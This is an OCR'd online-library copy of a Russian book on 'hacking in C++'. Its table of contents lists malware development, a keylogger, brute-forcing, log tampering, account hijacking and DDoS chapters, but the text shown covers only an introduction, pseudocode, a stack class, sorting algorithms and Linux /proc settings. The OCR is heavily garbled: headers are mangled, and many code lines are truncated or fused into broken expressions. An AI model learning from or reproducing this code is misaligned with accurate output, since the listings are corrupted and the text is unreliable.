КулЛиб - Классная библиотека! Скачать книги бесплатно 

Хакинг на С++ [А. А. Ярошенко] (pdf) читать онлайн

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]
ЯРОШЕНКО

А. А.

ХАКИНГ
НА

"Издательство Наука и Техника"
Санкт-Петербург

УДК 004.42
ББК 32.973
Ярошенко А. А.

ХАкинг НА С++ - СПБ.: ИздлтЕЛЬСтво НАУКА и ТвхниКА, 2022. - 272 с., ил.
ISBN 978-5-907592-03-2
Наша книга не посвящена взлому информационных систем, поэтому если
вы надеетесь с ее помощью взломать банк, сайт или еще что-либо, може­
те отложить ее в сторону. Но если вы хотите освоить программирование
«взлома» на С++ и отойти от рутинных примеров, которых навалом в любом
самоучителе, эта книга для вас. В ней мы не будем объяснять основы
программирования на С++, т.к. считаем, что вы уже освоили азы и умеете
пользоваться компилятором, чтобы откомпилировать программу.
Хакер умеет найти в программе недостатки, скрытые возможности, лазейки,
и сделать так, чтобы заставить все это работать неправильно или необычно.
Хакер видит то, что не видят другие. А чтобы у вас была возможность так
видеть, вы должны знать языки программирования, и С++ для этого отличный вариант. Мы поговорим об объектно-ориентированном програм­
мировании; напишем приложение клиент/сервер; разберемся с алгоритмами
поиска и сортировки; поищем «жертву» с помощью сканера портов; обсудим
шифрованием файлов и займемся разработкой Malware. В общем, рас­
смотрим программирование на С++ глазами хакера.

Все права защищены. Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешенИJ1
владельцев авторских прав.

Издательство не несет ответственности за возможный ущерб, причиненный в ходе использования материалов данной книги, а также за
доступность материалов, ссьшки на которые вы можете найти в зтой книге. На момент подготовки книги к изданию все ссылки на интернет­
ресурсы были действующими.
ISBN 978-5-907592-03-2

Контактные телефоны издательства:
(812) 412 70 26
Официальный сайт: www.nit.com.ru

. JIIJ.2032 ,

© Ярошенко А. А.

© Издательство Наука и Техника (оригинал-макет)

Содержание
https://t.me/it_boooks/2

ВВЕДЕНИЕ ............................................................................................ 9
ГЛАВА 1. ПРОГРАММИРОВАНИЕ ГЛ АЗАМИ ХАКЕРА....... 13
1.1. ЧТО ТАКОЕ ПРОГРАММИРОВАНИЕ ....................................................................... 15
1.2. ВВЕДЕНИЕ В ПСЕВДОКОД........................................................................................... 17
1.2.1. Управляющие конструкции ................................................................. 17
Условная конструкция ......................................................................... 18
Циклы................................................................................................... 19

ГЛАВА 2. ОБЪЕКТНО-ОРИЕНТИРОВАННОЕ ПРОГРАММИРОВАНИЕ ........................................................................ 23
2.1. ПРИМЕР КЛ АССА ............................................................................................................ 24
2.2. КОНСТРУКТОРЫ И ДЕСТРУКТОРЫ ....................................................................... 28
2.3. М АССИВЫ ОБЪЕКТОВ .................................................................................................. 34
2.4. Н АСЛЕДОВАНИЕ......;....................................................................................................... 36
2.5. ПЕРЕГРУЗК А ОПЕРАТОРОВ ........................................................................................ 37

ГЛАВА 3. ПИШЕМ ПРИЛОЖЕНИЕ КЛИЕНТ/СЕРВЕР ........ 39
3.1. АРХИТЕКТУРА СЕТИ ..................................................................................................... 40
3.1.1. Введение в архитектуру клиент/сервер .............................................. 40
3.2. ПРОТОКОЛ И ИНТЕРФЕЙС ......................................................................................... 42
3.2.1. Модель OSI ............................................................................................ 44

,

Физический уровень (Physica\ Layer) ................................................. 46
Канальный уровень (Data link Layer).................................................. 47
Сетевой уровень (Network Layer) ........................................................ 48
_

-............. -......'................. -... - ........ -... - - - - -- -.. - - -.. - - - -

. .... ...

:\аю1111 11а

С++
Транспортный уровень (Transpon Layer)............................................ 49
Сеансовый уровень (Session Layer) ..................................................... 50
Представительный уровень (Presentation Layer) ................................ 51
Прикладной уровень (Application Layer) ............................................ 51
3.2.2. Протокол TCP/IP ................................................................................... 51
3.2.3. Многоуровневая архитектура стека TCP/IP ....................................... 55
Уровень сетевого интерфейса .............................................................. 57
Межсетевой уровень............................................................................. 58
Транспортный ( основной) уровень ..................................................... 59
Уровень приложений ............................................................................ 59
3.2.4. Порты и демоны.................................................................................... 60
3.2.5. Структура пакетов IP и ТСР. ................................................................ 61

3.3. ПРИЛОЖЕНИЕ-КЛИЕНТ .............................................................................................. 64
3.4. ПРИЛОЖЕНИЕ-СЕРВЕР ................................................................................................ 73
3.5. ИСПОЛЬЗУЕМ КОМАНДУ МАКЕ ДЛЯ СБОРКИ СЛОЖНОГО ПРОЕКТА.
СОБИРАЕМ ВСЕ ВОЕДИНО............................................................................... 80

ГЛАВА 4. АЛГОРИТМЫ ПОИСКА И СОРТИРОВКИ ........... 85
4.1. БИНАРНЫЙ ПОИСК В ЦЕЛОЧИСЛЕННОМ МАССИВЕ................................... 86
4.2. БИНАРНЫЙ ПОИСК ПО МАССИВУ УКАЗАТЕЛЕЙ СТРОК............................ 88
4.3. СОРТИРОВКА ПУЗЫРЬКОМ....................................................................................... 90
4.4. БЫСТРАЯ СОРТИРОВКА МАССИВА ....................................................................... 92
4.5. СОРТИРОВКА ВЫБОРОМ............................................................................................ 95
4.6. СОРТИРОВКА ВСТАВКОЙ СВЯЗНОГО СПИСКА ............................................... 99
4.7. ПУЗЫРЬКОВАЯ СОРТИРОВКА СВЯЗНОГО СПИСКА .................................... 101
4.8. ПИРАМИДАЛЬНАЯ СОРТИРОВКА ......................................................................... 106
4.9. СОРТИРОВКА ВСТАВКОЙ МАССИВА ПО УБЫВАНИЮ И ПО ВОЗРАСТАНИЮ .......................................................................................................................... 108
4.10. СОРТИРОВКА СЛИЯНИЕМ МАССИВА ................................................................110

--

4.11. СОРТИРОВКА СЛИЯНИЕМ. СВЯЗНЫЙ СПИСОК ...........................................113



4.12. СОРТИРОВКА МАССИВА СТРОК СТАНДАРТНЫМИ СРЕДСТВАМИ.....117

.. -- ------ ---- - -- ----------- - --- - - - -- - . --- -- - - -- -- - - - ---- - - ....... - -. . . - . ... . --- .

( 0.ll'J),IOIIIШ'

4.13. ИСПОЛЬЗОВАНИЕ ИТЕРАТОРОВ BEGINO И ENDO ДЛЯ СОРТИРОВКИ118

ГЛАВА 5. СКАНЕР ПОРТОВ НА С++ ........................................ 123
S.l. ПРИНЦИП РАБОТЫ СКАНЕРА ПОРТОВ .............................................................. 124
S.2. СОВЕРШЕНСТВУЕМ СКАНЕР.............:.................................................................... 126
S.3. СКАНИРОВАНИЕ ДИ АП АЗОН А ПОРТОВ ............................................................ 127
S.4. ПОДДЕРЖКА КОМАНДНОЙ СТРОКИ ................................................................... 134

ГЛАВА 6. ШИФРОВАНИЕ ФАЙЛОВ ......................................... 139
6.1. ЧТО ЕСТЬ ШИФРОВАНИЕ И РАСШИФРОВКА? ................................................ 140
6.2. ПРОСТЕЙШЕЕ ШИФРОВАНИЕ ФАЙЛ А............................................................... 141
6.3. ДЕШИФРОВКА ФАЙЛА ............................................................................................... 143
6.4. СОВЕРШЕНСТВУЕМ ШИФРОВАНИЕ ................................................................... 144
6.S. АЕS-ШИФРОВАНИЕ ...................................................................................................... 147

ГЛАВА 7. ФАЙЛОВАЯ СИСТЕМА ............................................. 159
7.1. КАКИЕ ФАЙЛОВЫЕ СИСТЕМЫ ПОДДЕРЖИВАЕТ LINUX .......................... 160
7.2. КАКАЯ ФАЙЛОВАЯ СИСТЕМА ЛУЧШЕ? ............................................................ 162
7.3. ЧТО НУЖНО ЗНАТЬ О ФАЙЛОВОЙ СИСТЕМЕ LINUX .................................. 163
7.3.1. Имена файлов и каталогов ................................................................. 163
7.3.2. Файлы устройств ................................................................................ 164
7.3.3. Корневая файловая система и основные подкаталоги первого
уровня ........................................................................................................ 165

7.4. ссылки ............................................................................................................................ 167
7.S. ПРАВА ДОСТУПА ........................................................................................................... 168
7.5.1. Общие положения ............................................................................... 168
7.5.2. Смена владельца файла ...................................................................... 169



7.5.3. Определение прав доступа ................................................................ 170
7.5.4. Специальные права доступа .............................................................. 173

. . ............. .. ..... .... ......... . .... - ........ ............. -....... - -

.......... ..

'\аю1111 11а

<

++

7.6. АТР ИБУТЫ ФАЙЛА ....................................................................................................... 173
7.7. ПОИСК ФАЙЛОВ ............................................................................................................ 180
7.8. МОНТИР ОВАНИЕ ФАЙЛОВЫХ СИСТЕМ............................................................ 182

7.8.1. Монтируем файловые системы вручную ......................................... 182
7.8.2. Имена устройств ................................................................................. 184
7.8.3. Монтируем файловые системы при загрузке ................................... 187
7.9. РАБОТА С ЖУР НАЛОМ ............................................................................................... 190
7.10. ПР ЕИМУЩЕСТВА ФАЙЛОВОЙ СИСТЕМЫ ЕХТ4 .......................................... 191
7.11. СПЕЦИАЛЬНЫЕ ОПЕРАЦИИ С ФАЙЛОВОЙ СИСТЕМОЙ ......................... 192

7.11.1. Монтирование NТFS-разделов ........................................................ 192
7.11.2. Создание файла подкачки ................................................................ 192
7,11.3. Файлы с файловой системой............................................................ 193
7.11.4. Создание и монтирование ISО-образов .......................................... 194
7.12. ПСЕВДОФАЙЛОВЫЕ СИСТЕМЫ .......................................................................... 195

7.12.1. Псевдофайловая система sysfs ......................................................... 196
7.12.2. Псевдофайловая система proc ......................................................... 198

ГЛАВА 8. РАЗРАБОТКА MALWARE ............................................ 203
8.1. ВВЕДЕНИЕ В РАЗРАБОТКУ MALWARE .................................................................. 204
8.2. КАК РАБОТАЕТ ОБНАРУЖЕНИЕ ВРЕДОНОСНОГО КОДА.......................... 205
8.3. ГЕНЕРИР УЕМ ШЕЛЛ-КОД ......................................................................................... 205
8.4. ВЫПОЛНЕНИЕ ШЕЛЛ-КОДА .................................................................................... 207
8.5. ЗАПУТЫВАЕМ КОД ....................................................................................................... 208
8.6. ДИНАМИЧЕСКИЙ АНАЛИЗ ВР ЕДОНОСА ........................................................... 210

ГЛАВА 9. ПОЛЕЗНЫЕ ПРИМЕРЫ ДЛЯ ХАКИНГА ............. 215
9.1. НТМL-КЛИНЕР НА С++ ............................................................................................... 216
9.2. ПИШЕМ КЕЙЛОГГЕР ......................... :......................................................................... 218
9.3. НЕБОЛЬШАЯ ВР ЕДОНОСНАЯ ПР ОГРАММА .................................................... 22
.

---------------··--·--·-----···--·---------·--·----·---·---·------------·--·-----···

( 'н,1t•р;1,:а1111е

9.4. ГЕНЕРИРОВАНИЕ ВСЕХ ПЕРЕСТАНОВОК ИЛИ ПОПЫТКА БРУТФОРСИНГА ...................................................................................................................... 221
9.5. БРУТФОРСИНГ ............................................................................................................... 224

ГЛАВА 1 О. ШВЕЙЦАРСКИЙ НQЖ ХАКЕРА........................... 239
10.1. КАК ВОССТАНОВИТЬ ПАРОЛЬ TOTAL COMMANDER................................ 240
10.2. БЕСПЛАТНАЯ ОТПРАВКА SMS ПО ВСЕМУ МИРУ ........................................ 242
10.3. ЗАПУТЫВАЕМ СЛЕДЫ В ЛОГА Х СЕРВЕРА ...................................................... 242
10.4. ВОРУЕМ WINRAR ........................................................................................................ 243
10.5. ПРИВАТНАЯ ОПЕРАЦИОННАЯ СИСТЕМА KODACНI ...............................,. 245
10.6. ПЛАГИН PRIVACY POSSUM ДЛЯ FIREFOX ....................................................... 245
10.7. ПОЛУЧАЕМ КОНФИДЕНЦИАЛЬНУЮ ИНФОРМАЦИЮ О ПОЛЬЗОВАТЕЛЕ FACEBOOK ...................................................................................................... 246
10.8. УЗНАЕМ МЕСТОНАХОЖДЕНИЕ ПОЛЬЗОВАТЕЛЯ GMAJL ......................... 247
10.9. ОБХОД АВТОРИЗАЦИИ WI-FI С ГОСТЕВЫМ ДОСТУПОМ. ЛОМАЕМ
ПЛАТНЫЙ WI-FI В ОТЕЛЕ............................................................................... 248
10.10. САЙТ ДЛЯ ИЗМЕНЕНИЯ ГОЛОСА ...................................................................... 248
10.11. СПАМИМ ДРУГА В TELEGRAM С ПОМОЩЬЮ TERMUX ......................... 249
10.12. УЗНАЕМ IР-АДРЕС ЧЕРЕЗ TELEGRAM ............................................................ 250
10.13. КАК УБИТЬ ANDROID-ДEBAЙC ВРАГА ............................................................. 251
10.14. УТИЛИТА ДЛЯ ПОИСКА ИНФОРМАЦИИ О ЧЕЛОВЕКЕ .......................... 251
10.15. БЕСПЛАТНАЯ И ЗАКОННАЯ АКТИВАЦИЯ WINDOWS .............................. 253
10.16. ШИФРУЕМ ВИРУС ДЛЯ ANDROID ..................................................................... 254
10.17. МСТИМ НЕДРУГУ С ПОМОЩЬЮ CALLSPAM .............................................. 256



..

10.18. ЕЩЕ ОДНА БОМБА-СПАММЕР ТВОМВ ........................................................... 257

....

.. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . .

:\а1,11111 11:1

С➔+

10.19. ВЗЛОМ INSTAGRAM.....................................................................•............................ 261
10.20. DDOS-ATAKA РОУТЕРА ............................................................................................ 261
10.21. SPLOIТUS - ПОИСКОВИК СВЕЖИХ УЯЗВИМОСТЕЙ ................................ 263
10.22. УГОН TELEGRAM-AKKAYHTA ............................................................................. 264
10.23. К АК ПОЛОЖИТЬ WI-FI СОСЕДА ИЛИ КОНКУРЕНТ А ............................... 265
ВМЕСТО З АКЛЮЧЕНИ Я ....•.............................................................................................. 266

---



------------------------ -- ------------------ -- -- -- ------- ----- . ----- . . - · - . - ---.

Введение

:\ai-11111 11а

С++

Сегодня благодаря Голливуду и различным СМИ слово "хакер" ассоциирует­
ся в основном со злоумышленниками, занимающимися несанкционирован­
ным доступом к различным системам. Попробуем этот термин "отбелить",
рассказав, кто такой хакер на самом деле.
Хакеры в нашем понимании постоянно что-то взламывают - то банк, то сайт,
то какую-то правительственную базу данных. Но на самом деле понятие "ха­
кер" появилось еще задолго до появления всемирной сети Интернет.
Впервые о "хакерах" заговорили во времена ARPANET. APANET компьютерная сеть, созданная в 1969 году в США Агентством Министер­
ства обороны США ·по перспективным исследованиям и явившаяся прототи­
пом сети Интернет. Послужила фундаментом для современного Интернета.
Так вот, во времена ARPANET "хакером" называли человека, который хоро­
шо разбирался в компьютерах. Это были фанаты своего дела, помешанные
на компьютерах. В 1969 году у каждого не было компьютера как сейчас. В
основном компьютеры были только в крупных коммерческих и правитель­
ственных организациях и занимали они целые комнаты. Некоторое подобие
современного персонального компьютера появилось в 1983 году - с появле­
нием IBM РС. По большому счету, когда появились хакеры, не бьmо еще ни
Интернета, ни сайтов, ни вирусов - по сути, не было, что взламывать.

.................. - ... ·-· ................................. -- -- -------- .... ------ - --



..

Blll' ll'll lll'

Хакеры существенно помогли в развитии Интернета, а также создали сеть
FIDO, которая работала по принципу "точка-точка". Доступ к Интернету
был достаточно дорогим, а информацией нужно было обмениваться. Поэто­
му хакеры создали свою сеть FIDO или FIDOnet - это международная лю­
бительская сеть обмена информацией. Сеть была создана в 1984 году Томом
Дженнингсом (англ. Tom Jennings) д.ця передачи сообщений с его BBS (базо­
вой станции) на BBS его друга Джона Мэдила (англ. John Madil). Передача
осуществлялась в ночные часы, когда стоимость телефонных звонков была
ниже - кроме телефонных линий других доступнь1х каналов связи не было,
поэтому выход в FIDO сопровождался "жужжанием" модема. Для обмена
почтой с другим узлом сети бьш выделен один час (в течение которого до­
ступ сторонних пользователей на BBS бьш закрыт), который позже получил
название "национального почтового часа".
В 1985 году количество базовых станций составило 200 штук. Список узлов
(нодлист, англ. nodelist) распространялся в виде отдельного файла и перво­
начально обновлялся самим Дженнингсом.
Позже в FIDO появилась возможность обмена не только сообщениями, но и
файлами. Особую популярность FIDO приобрела в 1990-ых годах - она была
бесплатной, и пользователь платил лишь за "разговор" по телефону, что было
существенно дешевле доступа к Интернету, где нужно было платить и за
"телефон" (поскольку других каналов связи не было), и за Интернет. Автор
этой книги работал с FIDO в 1996 - 1999 гг. Начиная с 2000, Интернет стал
становиться доступнее - стал дешевле доступ, стали появляться так называ­
емые саllЬасk-варианты (когда провайдер сам перезванивал на модем поль­
зователя и пользователю не приходилось платить за "телефон" - ему нужно
было лишь дозвониться на модем провайдера, который сбрасывал вызов и
перезванивал самостоятельно), стала доступнее технология RadioEthemet и
различные варианты АDSL-доступа. Все это в конечном счете "убило" FIDO
- больше в ней не было смысла. На просторах бывшего СССР "фидошка"
прожила где-то до 2011 года, хотя после 2007 года ее популярность снижа­
лась значительными темпами.
Возвращаемся к хакерам. Хакеры того времени не занимались взломом как
таковым. Наоборот, они создавали. Например, Том Дженнингсон был хаке­
ром. Но он ничего не взломал, не сломал, а, наоборот, создал. Он создал
Фидо. Хакеры изначально направляли свои усилия на созидание, а не на раз­
рушение. Так сказать, находились на стороне добра. Если хакер направлял
свои действия на разрушение чего-либо, это резко осуждалось самим
сообществом хакеров .



··················································································-818

:\аю1111 11а С++-

Для разрушителей сами же хакеры придумали отдельный термин- крэкеры
(от анг. cracker). Это именно они взламывают сайты и различные базы дан­
ных - ради собственной наживы и минутной славы. Но СМИ все перекру­
тило и исказило общественное мнение (впрочем, как обычно). Теперь
компьютерных преступников называют хакерами, хотя на самом деле это не
так.
Наша книга не посвящена взлому информационных систем, и мы честно го­
ворим об этом в самом ее начале. Поэтому если вы надеетесь с ее помощью
взломать банк, сайт или еще что-либо, можете отложить ее в сторону. Но
если вы хотите освоить программирование "взлома" на С++ и отойти от ру­
тинных примеров, которых навалом в любом самоучителе, эта книга для вас.
В ней мы не будем объяснять основы программирования на С++. Мы счи­
таем, что вы уже освоили азы и умеете пользоваться компилятором, чтобы
откомпилировать программу.
Чтобы стать хакером, вам как минимум нужно знать один, а лучше
- несколько языков программирования. Чем отличается программист от
хакера? Программист просто пишет программу, а хакер умеет найти в ней
недостатки, скрытые возможности, найти лазейки в программе так, чтобы
заставить ее работать неправильно или необычно. Хакер видит то, что не
видят другие. А чтобы у вас была возможность так видеть, вы должны знать
языки программирования- без этого никак. Что потом делать с этими лазей­
ками? Конечно, же сообщить программисту, чтобы он выпустил обновление
программы и все эти лазейки были закрыты! Ведь мы на стороне добра- не
забывайте об этом.
С++ - один из стандартов в мире. Знание этого языка всегда будет актуаль­
ным, в отличие от других языков, которые то появляются, то исчезают, сле­
дуя трендам времени. Можно сказать, что это базовый язык программирова­
ния и каждый уважающий себя хакер обязан его знать. Даже не так - вы не
сможете называть себя хакером, если вы не знаете С++. Так, пожалуй, будет
точнее.



------------------------------------------------·--·----·-·-------------------------·

Глава 1.

Программирование
глазами хакера

:\аю1111 11а < ++

https://t.me/it_boooks/2

Как уже было отмечено, хакер - это человек, который может как написать
код, так и найти в нем уязвимости. Также хакеру нужно понимать принци­
пы программирования, иначе он просто не сможет найти уязвимости
в программах. В свою очередь, навыки обнаружения уязвимостей помога­
ют при написании программ, поэтому многие хакеры занимаются, как про­
граммированием, так и поиском уязвимостей. С этой точки зрения они более
универсальны, чем просто программисты. Также хакером можно назвать
человека, предлагающего нестандартные способы решения задачи. Ведь
английское слово hacking означает обнаружение неочевидного способа ре­
шения задачи.
При написании программ поиск уязвимостей может помочь не только для
обхода системы безопасности, но и для сокращения и оптимизации кода,
увеличения его эффективности. Ведь для решения одной и той же задачи
можно написать множество разных вариантов кода. Но один код будет гро­
моздким, а другой компактный. Компактный код будет выполняться быстрее
и, в конечном счете, пользователи вам скажут спасибо. Также помните, что
чем сложнее система, тем больше вероятность того, что в ней что-то сло­
мается. В компактном �оде есть меньше вещей, которые могут сломаться,




..................................................··········........................ .

1 1,111,1 1

llpo1 ра,1ч111юш11111t· 1.1а1а,111 ,a1,t:ера

Циклы
Циклы позволяют выполнять одну и ту же последовательность действий
несколько раз либо бесконечно. Все зависит от алгоритма работы программ.
Классическими циклами считаются циклы while и until.
Команды, которые будут повторяться в цикле, называются телом цикла.
Каждый проход цикла называется итерацией. Так вот, цикл while будет вы­
полнять тело цикла, пока условие истинно. Синтаксис цикла while выглядит
так:
while (условие)
{
тело цикла;

Ранее мы говорили, что есть возможность выполнения бесконечного цикла.
Да, иногда в программировании нужно создавать бесконечные циклы. Ти­
пичный пример - приложение сервер, которое должно обрабатывать запро­
сы клиентов. Второй пример - команда ping, отправляющая ЕСНО-запросы
(пинги) на удаленный компьютер. По умолчанию ping выполняется беско­
нечно, пока пользователь не прервет ее выполнение, нажав Ctrl + С. В ка­
честве условий в таком цикле часто ставят true или 1 - условие всегда будет
истинным.
Пример цикла while:
while (1)
{
ОтправитьПинг(IР-адрес);

Второй пример цикла - представим, что мы пишем программу для блока
управления автомобилем и нам нужно отображать контрольную лампу
МалоТоплива, пока количество бензина в баке меньше 10 литров:
while (Бак.ОстатокТоплива() < 10)



........------·· ---. ·--------....... --------------- ---- - - - -- - ---- ---- ----- .. -- --

. ...

Хаю1111 на С++

ВключитьКонтрольнуюЛампу(МалоТоплива);

Цик л until ("пока не") используется в языке Perl (в языке С+ его нет)
и позволяет задать диаметрально противоположное условие. Пример
программы для навигации:
until (слева река)
{
двигайтесь прямо;

Учитывая, что вы пишете на С++, а в С++ нет конструкции until, вы не буде­
те использовать этот цикл при написании псевдокода. Понятно, что любой
until можно превратить в while, лишь изменив условие. Нужно отметить, что
цикл while интуитивно более понятен и лучше избегать использования until,
даже если он поддерживается в вашем язь1ке.
Циклfоr называется циклом со счетчиком и используется, когда нужно вы­
полнить определенное (четко известное) количество действий. Пример:
for (5 раз)
Подать сигнал;

Данный цикл подает сигнал 5 раз. На языке С такой цикл выглядит так:
for (i=O; iOBaiшr

1.1а 1а,111

,ai,t•pa

i++;

Поэтому цикл while является наиболее универсальным вариантом цикла.
Мы не будем рассматривать псевдокод очень подробно. По большому счету,
он должен быть потянет. Знание и понимание псевдокода позволит читать
и понимать некоторые базовые алгоритмы. Часто их пишут ·на псевдокоде,
чтобы не привязываться к какому-то языку программирования .



. ---------------- - -- -- ------ ---------- ------- -- --... -------------- - -- - ------ -----

...

Глава 2.

Объектно­
ориентированное
программирование

:\ai.:11111 на

С++

https://t.me/it_boooks/2

В прошлой главе мы говорили о некоторых базовых вещах, которые вы
должны по крайней мере понимать. Хакер может не знать всего, но должен
ориентироваться в основньiх моментах. На практике все программы (кроме
самых простых) написаны с использованием концепции объектно-ориен­
тированного программирования, которая существенно упрощает повторное
использование кода, что очень важно для сложных проектов. Поэтому вы не
можете считать себя хакером, если не умеете писать ООП-программы. Мы
не будем подробно углубляться в концепцию ООП-все-таки это более прак­
тическая книга, а теорию вы всегда сможете почерпнуть в одном из самоучи­
телей. Но мы рассмотрим основные понятия ООП в практических примерах.

2.1. Пример класса
Сейчас мы разработаем собственный класс. Чтобы пример имел практиче­
скую ценность, мы разработаем класс стека, который можно использовать
для хранения символов. Для объявления класса используется ключевое сло­
во class:

....



... . ................ . . .. . . . . .............. . .. . .... . . ... . ....... - ................ .

1 1,111,1 �- Ofil,t'l,I IIIHIJHH'II I IIJIOll,lllllllt' IIJHII J),1\1\IIIJ)IIIЩllllt'

class имя класса {
закрытые методы (функции) и переменные класса
puЬlic:
открытые методы и переменные класса
} [список объектов класса];

Примечание. Обратите внимание, что ; после объявления клас­
са - обязательна!
Обратите внимание, что список объектов - необязательная часть. Вы можете
объявить список объектов позже в программе, когда вам это будет нужно.
Функции и переменные, объявленные внутри объявления класса, называют
членами (members) класса. Чтобы не возникало путаницы, функции класса
часто называют методами класса.
Все члены класса, объявленные после служебного слова puЬlic, являются
публичными (общедоступными)- их можно использовать, как и другим чле­
нам класса, так и в любой другой части программы, в которой находится
этот класс.
В листинге 2.1 приводится код программы, имитирующей функционал стека
(структуры типа LIFO- Last In, First Out).
Листинг 2.1. Стек на С++
#include
using namespace std;
const int SIZE

26;

class stack {
char stck[SIZE];
int tos;
puЫic:
void init();
void push(char ch);
char рор();
};

void stack: :init()
{

'-·

······--··--···········-····-···· ---·--··········-··

···········-···············-

\.аю1111 11а

tos

С++

О;

void stack: :push(char ch)
if (tos== SIZE)
cout next;
// временный узел
temp = (struct node *)malloc(sizeof(struct node *));
temp->numЬer = value;
// меняем one и two местами в случае необходимости
while(two != NULL && temp->number < two->number)
one = one->next;
al-----------------------------------------------······-···-··-······-···-··-···-··'

1 1,11,,14

\.IIOJJlll\11,I IIOIН'l,a 11 t'OJ)IIIJНIBl,11

two = two->next;

}

one->next = temp;
temp->next = two;

Команда компиляции примера:
g++ 82.срр -о 82 -std=c++l

4.7. Пузырьковая сортировка связного списка
Давайте усложним нашу предыдущую задачу и выполним пузырьковую
сортировку связного списка. Алгоритм будет таким же, но работать мы бу­
дем не с массивом, а со связным списком. Подобная задача - хорошая прак­
тика по работе с указателями, а они играют в С++ очень важную роль - ни
одна серьезная программа на этом языке программирования не обходится
без указателей. В то же время большинство ошибок, допускаемых начина­
ющими программистами, связаны как раз с работой с указателями, поэтому
чем больше пра�qики по работе с указателями у вас будет, тем лучше.
Как уже было отмечено, сам алгоритм сортировки останется тем же (только
мы его слегка модифицируем). Но кроме него нам нужно реализовать еще
две вспомогательных функции:
/* добавляет новый узел в связный список */
void llist add(struct lnode **q, int пum);
/* выводит результат */
void llist_priпt(void);

Рассмотрим сначала функцию llist_add(). Ей передаются два параметра указатель на список и число, которое нужно добавить в список. Если список
пуст, то она создает первый узел - выделяет память с помощью malloc():
if(*q == NULL)
*q = malloc(sizeof(struct lnode));



. -------.. ---...-.. - --· --- ... --· .. --·. --- .... -- ... ------ ----... ---·. -- -· - - - -- . - --

...

'\ai-:11111 11а ( ++

Функция "перематывает" список, чтобы добраться к последнему узлу:
/* переходим к последнему узлу */
while(tmp->next != NULL)
tmp = tmp->next;
/* добавляем узел в конец списка */
tmp->next = malloc(sizeof(struct lnode));
tmp = tmp->next;

Напомню, последним считается узел, у которого указатель на следующий
узел (next) равен NULL. Поэтому в самой "перемотке" нет ничего сложного
- нужно двигаться, пока next не будет равен NULL.
Как только мы "перемотали" список и добрались до последнего элемента,
нужно присвоить ему данные:
tmp->data
tmp->next

num;
NULL;

Функция вывода связного списка очень проста. Она похожа на перемотку
списка, только при этой самой перемотке мы выводим значение текущего
элемента списка:
void llist_print(void)
visit = head;
while(visit != NULL) {
cout data next;
cout next;
while(a ! = е)
if(a->data > b->data)
if(а == head) {
tmp = Ь -> next;
b->next = а;
a->next = tmp;
head = Ь;
с = Ь;
} else {
tmp = b->next;
а;
b->next
tmp;
a->next
Ь;
c->next
с = Ь;
} else {
с = а;
а = a->next;

}

Ь = a->next;
if(Ь
е)
е = а;

}
}

Команда компиляции примера:



··················································································-ID

:\аю1111 11:1 ( ++
g++ 83.срр -о 83 -std=c++l -fpermissive

4.8. Пирамидальная сортировка
Наш следующий пример - пирамидальная сортировка, она же сортировка
кучей (heap sort). Данный алгоритм является модификацией пузырьковой
сортировки и представляет собой что-то среднее между сортировкой выбо­
ром и пузырьковой сортировкой.
Идея алгоритма заключается в следующем: ищем максимальный элемент в
неотсортированной части массива и ставим его в конец этого подмассива.
В поисках максимума подмассив перестраивается в так называемое сорти­
рующее дерево (она же двоичная куча, она же пирамида), в результате чего
максимум сам "всплывает" в начало массива.
После этого над оставшейся частью массива снова осуществляется процеду­
ра перестройки в сортирующее дерево с последующим перемещением мак­
симума в конец подмассива.
Что такое сортирующее дерево? Это такое дерево, у которого любой роди­
тель не меньше, чем каждый из его потомков - так называемое неубывающее
дерево. Есть и невозрастающее дерево - это когда любой родитель не боль-.
ше, чем каждый из его потомков.
Листинг 4.8. Пирамидальная сортировка
#include
#include
/* максимальная длина массива ... */
#define МAXARRAY 5
using names pace std;
/* осуществляет пирамидальную сортировку */
void heapsort( int ar[], int len);
/* помогает heapsort() "выталкивать" элементы, начиная с позиции pos */
void heapbubЫe(int pos, int ar[], int len);

...

int main (void) {
.



- - - --... -...--.. - .... - ... - -...-.. -- -.......-- . -- -...- -- .. -... --..---.. -- .. - .... -.

1 1,11\,1 4

\, 11ор111 \11,1 llfllll'l,a II l'O(J l ll(IOlll-:11

int array[МAXARRAY];
int i = О;
/* загружаем случайные элементы в массив */
for(i = О; i < МAXARRAY; i++)
array[i] = rand() % 100;
/* выводим исходный массив */
cout max)
swap(min, max);
if (min == max)
return std::vector(l, min);
std: :vector values;
for (; min /proc/sys/kernel/ctrl-alt-del

Файл /proc/sys/kemel/printk позволяет задать, какие сообщения ядра будут
выведены на консоль, а какие - попадут в журнал демона syslog. По умолча­
нию в этом файле содержатся значения 4 4 1 7. Сообщения с приоритетом 4 и
ниже (первая четверка) будут выводиться на консоль. Вторая четверка - это
уровень приоритета по умолчанию. Если для сообщения не задан уровень
приоритета, то считается, что его приоритет будет равен 4.
Третье значение определяет номер самого максимального приоритета.
Последнее значение - это уровень приоритета по умолчанию для первого
значения.
В большинстве случаев изменяют только первое значение, позволяющее
определить, будет ли сообщения с указанным уровнем приоритета выво­
диться на консоль или нет. Остальные параметры оставляют без изменения.
В файле /proc/sys/net/core/netdev_max_backlog содержится максимальное
число пакетов в очереди. Значение по умолчанию - / ООО.
Файл /proc/sys/fs/file-max позволяет изменить максимальное количество за­
головков файлов, которое может быть одновременно открыто. Другими сло­
вами, этот файл задает, сколько одновременно может быть открыто файлов.
Значение по умолчанию для ядра 3.16 и файловой системы btrfs- 73054..
Чтобы сохранить внесенные "на лету" изменения, и чтобы их не
пришлось снова вводить при следующей перезагрузке сервера, нужно
отредактировать файл /etc/sysctl.conf. Представим, что вы изменили зна­
чение из файла /proc/sys/fs/file-max. Тогда в файл /etc/sysctl.conf нужно
добавить строку:
fs.file-max

16 384

Принцип прост: /proc/sys/ отбрасывается совсем, а в оставшейся строке все
слеши заменяются точками. Само же значение указывается через знак ра­
венства. Если нужно указать несколько значений, то они указываются через
Пробел.
О файловой системе в Linux можно написать отдельную книгу, которая бу­
дет не меньше, чем та, которую вы держите в руках. Поэтому в этой главе
мы рассмотрели только самое необходимое для начинающего хакера.
Поскольку файловая система - это неотъемлемая часть операционной

...

-.. -.. -...-...... - - - ..--- ---. -. - - ..-. -... -. ---. - - -- ......- -.. - .... -- .. -- .. --- .

_,

1

1.1н.1 .., Фаi1. �ован c11t· 1 t·,1a

